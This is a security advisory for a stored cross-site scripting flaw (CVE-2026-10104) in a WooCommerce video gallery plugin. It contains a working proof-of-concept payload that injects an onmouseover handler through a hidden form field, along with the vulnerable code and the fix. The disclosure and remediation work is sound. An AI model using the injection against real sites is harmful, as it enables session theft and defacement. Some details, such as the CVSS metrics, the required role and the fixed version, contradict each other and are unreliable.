Share
## https://sploitus.com/exploit?id=741140EB-5F53-53CF-8242-05AAFE34F6A1
# CVE-2026-10104: Stored Cross-Site Scripting in Product Video Gallery for WooCommerce

## Summary

| Detail | Value |
|--------|-------|
| **CVE ID** | CVE-2026-10104 |
| **Plugin** | [Product Video Gallery for WooCommerce](https://wordpress.org/plugins/product-video-gallery-slider-for-woocommerce/) |
| **Vendor** | TechnoSoft Webs (NikHiL Gadhiya) |
| **Type** | Stored Cross-Site Scripting (XSS) |
| **CWE** | [CWE-79](https://cwe.mitre.org/data/definitions/79.html) โ€” Improper Neutralization of Input During Web Page Generation |
| **CVSS 3.1** | 4.4 (Medium) |
| **Affected Versions** | โ‰ค 1.5.1.6 |
| **Fixed Version** | 1.5.1.9 |
| **Requires Authentication** | Yes โ€” Contributor+ (any role that can edit products) |
| **Discovered by** | Ravindu Lakmina Munaweera |

---

## Description

The **Product Video Gallery for WooCommerce** plugin for WordPress (versions up to and including **1.5.1.6**) is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `custom_thumbnail` product meta parameter.

The plugin's `save_wc_video_url_field()` method sanitizes the `custom_thumbnail[]` POST parameter using `sanitize_text_field()`, which strips HTML tags but **does not strip double-quote (`"`) characters**. On the frontend, the stored value is inserted directly into an `` tag's attributes in `nickx_get_video_thumbanil_html()` without `esc_attr()` escaping. This allows an authenticated attacker to inject arbitrary HTML event handler attributes (e.g., `onmouseover`, `onerror`) that execute JavaScript in the browser of **any visitor** โ€” including unauthenticated users โ€” who views the affected product page.

---

## CVSS 3.1 Vector

```
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
```

| Metric | Value |
|--------|-------|
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | Low |
| User Interaction | None |
| Scope | Changed |
| Confidentiality Impact | Low |
| Integrity Impact | Low |
| Availability Impact | None |

---

## Affected Code

### Sink (Output โ€” No Escaping)

**File:** `public/class-rendering.php`  
**Method:** `nickx_get_video_thumbanil_html()`

```php
// Line 365 โ€” value inserted without esc_attr()
$custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
    ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"' 
    : '';

// Line 379 โ€” rendered inside  tag on the public frontend
echo '';
```

### Source (Save โ€” Insufficient Sanitization)

**File:** `admin/class-video-field.php`  
**Method:** `save_wc_video_url_field()`

```php
// Line 309-310 โ€” sanitize_text_field() strips tags but NOT double quotes
if ( isset( $_POST['custom_thumbnail'] ) ) {
    update_post_meta( $post_id, '_custom_thumbnail', 
        array_map( 'sanitize_text_field', $_POST['custom_thumbnail'] ) );
}
```

---

## Proof of Concept

### Prerequisites

- WordPress with WooCommerce installed
- Plugin: Product Video Gallery for WooCommerce โ‰ค 1.5.1.6
- A WooCommerce product with a YouTube video URL configured
- An account with product editing privileges (Shop Manager, Author, etc.)

### Steps to Reproduce

1. Log in as a **Shop Manager** (attacker).

2. Navigate to **Products โ†’ Edit** any product with a video URL set in the "Product Video Url" field.

3. Open **browser Developer Tools** (`F12`) โ†’ **Console** tab.

4. Paste and execute the following JavaScript:

```javascript
const form = document.getElementById('post');

// Set thumbnail ID to a non-empty value (required by render condition)
const thumbInput = document.querySelector('input[name="product_video_thumb_url[]"]');
if (thumbInput) { thumbInput.value = '99999'; }

// Inject XSS payload via custom_thumbnail
const ct = document.createElement('input');
ct.type = 'hidden';
ct.name = 'custom_thumbnail[]';
ct.value = "yes\" onmouseover=\"alert('xss identified by Ravindu')";
form.appendChild(ct);
```

5. Click **"Update"** to save the product.

6. Open the product page on the frontend in an **incognito/private window** (unauthenticated).

7. **Hover** over the video thumbnail in the product gallery.

8. โœ… JavaScript alert executes, confirming Stored XSS.





### Rendered Output

```html

```

The injected `"` closes the `custom_thumbnail` attribute, and `onmouseover` becomes a new executable attribute on the `` element.

---

## Impact

- **Stored XSS** executes on the **public frontend** for all visitors, including unauthenticated users
- Attackers can steal session cookies and hijack admin accounts
- Attackers can redirect customers to phishing or malware distribution sites
- Attackers can deface product pages or inject cryptominers
- Requires only **Contributor-level** access to exploit

---

## Remediation

Apply `esc_attr()` to the custom thumbnail value before inserting it into the HTML attribute:

```diff
- $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
-     ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"' 
-     : '';
+ $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
+     ? 'custom_thumbnail="' . esc_attr($custom_thumbnails[$key]) . '"' 
+     : '';
```

This same fix should be applied to all instances in `nickx_get_video_thumbanil_html()` where `$custom_thumbnail` is constructed (both the array and non-array code paths).

---

## Disclosure Timeline

| Date | Event |
|------|-------|
| 2026-03-20 | Vulnerability discovered |
| 2026-03-20 | Reported to Wordfence (CNA) |
| 2026-05-29 | CVE ID assigned: CVE-2026-10104 |
| 2026-07-01 | Public disclosure |

---

## Credits

- **Discovered by:** Ravindu Lakmina Munaweera
- **CVE assigned by:** [Wordfence](https://www.wordfence.com/) (CNA)
- [CVE ORG](https://vulners.com/cve/CVE-2026-10104)

---

## References
- [CVE-2026-10104](https://vulners.com/cve/CVE-2026-10104)
- [WordPress Plugin Page](https://wordpress.org/plugins/product-video-gallery-slider-for-woocommerce/)
- [Wordfence Vulnerability Database Entry](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/product-video-gallery-slider-for-woocommerce/product-video-gallery-for-woocommerce-1518-authenticated-shop-manager-stored-cross-site-scripting-via-custom-thumbnail-parameter) 
- [CWE-79: Cross-site Scripting](https://cwe.mitre.org/data/definitions/79.html)
- [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Scripting_Prevention_Cheat_Sheet.html)

---

## License

This advisory is released under [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/).